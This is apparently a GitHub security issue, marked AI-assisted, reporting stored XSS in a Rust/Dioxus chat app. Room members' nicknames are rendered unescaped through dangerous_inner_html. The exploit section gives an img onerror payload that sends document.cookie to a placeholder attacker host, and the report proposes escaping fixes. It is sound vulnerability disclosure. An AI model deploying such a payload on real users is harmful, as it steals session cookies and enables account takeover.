Severity
Stored XSS exploitable by any member of a room. The malicious nickname is rendered with dangerous_inner_html for every user who views the room's member list.
Where
ui/src/components/members.rs:282
button {
class: "...",
title: "Member ID: {member_id}",
onclick: move |_| handle_member_click(member_id),
span {
dangerous_inner_html: "{display_name}"
}
}
The display_name HTML is built in format_member_display() at lines 119-127 by directly concatenating member.nickname with handcrafted <span> tags:
let mut html = member.nickname.clone(); // <-- raw, never escaped
html.push(' ');
for (icon, tooltip) in &tags {
html.push_str(&format!(
"<span class=\"member-icon\" title=\"{}\">{}</span> ",
tooltip, icon
));
}
The nickname comes from unseal_bytes_with_secrets(...) of the user's own signed MemberInfoV1.preferred_nickname. A user can therefore set any byte string as their nickname; cross-validation only checks the signature, not the content.
Exploit
A member sets their preferred nickname to e.g. <img src=x onerror="fetch('https://attacker/'+document.cookie)">. Every other user who opens that room renders the nickname unescaped via dangerous_inner_html, executing the script in their browser context.
This also re-instantiates the issue-225 pattern: a malicious nickname containing <a> would be nested inside the member-list <button>, swallowing clicks and breaking modal navigation.
Suggested fix
Two layers:
- HTML-escape
member.nickname before placing it into the display_name HTML (e.g. via the htmlescape crate, or by replacing <>&'\" manually).
- Stop using
dangerous_inner_html for member rows entirely. Render nickname as plain text in one element and the icon spans as separate Dioxus children — no string concatenation needed.
The same pattern exists at ui/src/components/conversation.rs:606 (label rendered via dangerous_inner_html) — worth auditing.
Found while
Investigating big-picture review feedback on PR #226 (#225 fix). The room header bug (<a> inside <button>) was fixed structurally; the same anti-pattern in members.rs is currently inert because nicknames don't usually contain HTML — but they CAN, and it isn't validated.
[AI-assisted - Claude]
Severity
Stored XSS exploitable by any member of a room. The malicious nickname is rendered with
dangerous_inner_htmlfor every user who views the room's member list.Where
ui/src/components/members.rs:282The
display_nameHTML is built informat_member_display()at lines 119-127 by directly concatenatingmember.nicknamewith handcrafted<span>tags:The nickname comes from
unseal_bytes_with_secrets(...)of the user's own signedMemberInfoV1.preferred_nickname. A user can therefore set any byte string as their nickname; cross-validation only checks the signature, not the content.Exploit
A member sets their preferred nickname to e.g.
<img src=x onerror="fetch('https://attacker/'+document.cookie)">. Every other user who opens that room renders the nickname unescaped viadangerous_inner_html, executing the script in their browser context.This also re-instantiates the issue-225 pattern: a malicious nickname containing
<a>would be nested inside the member-list<button>, swallowing clicks and breaking modal navigation.Suggested fix
Two layers:
member.nicknamebefore placing it into thedisplay_nameHTML (e.g. via thehtmlescapecrate, or by replacing<>&'\"manually).dangerous_inner_htmlfor member rows entirely. Rendernicknameas plain text in one element and the icon spans as separate Dioxus children — no string concatenation needed.The same pattern exists at
ui/src/components/conversation.rs:606(label rendered viadangerous_inner_html) — worth auditing.Found while
Investigating big-picture review feedback on PR #226 (#225 fix). The room header bug (
<a>inside<button>) was fixed structurally; the same anti-pattern in members.rs is currently inert because nicknames don't usually contain HTML — but they CAN, and it isn't validated.[AI-assisted - Claude]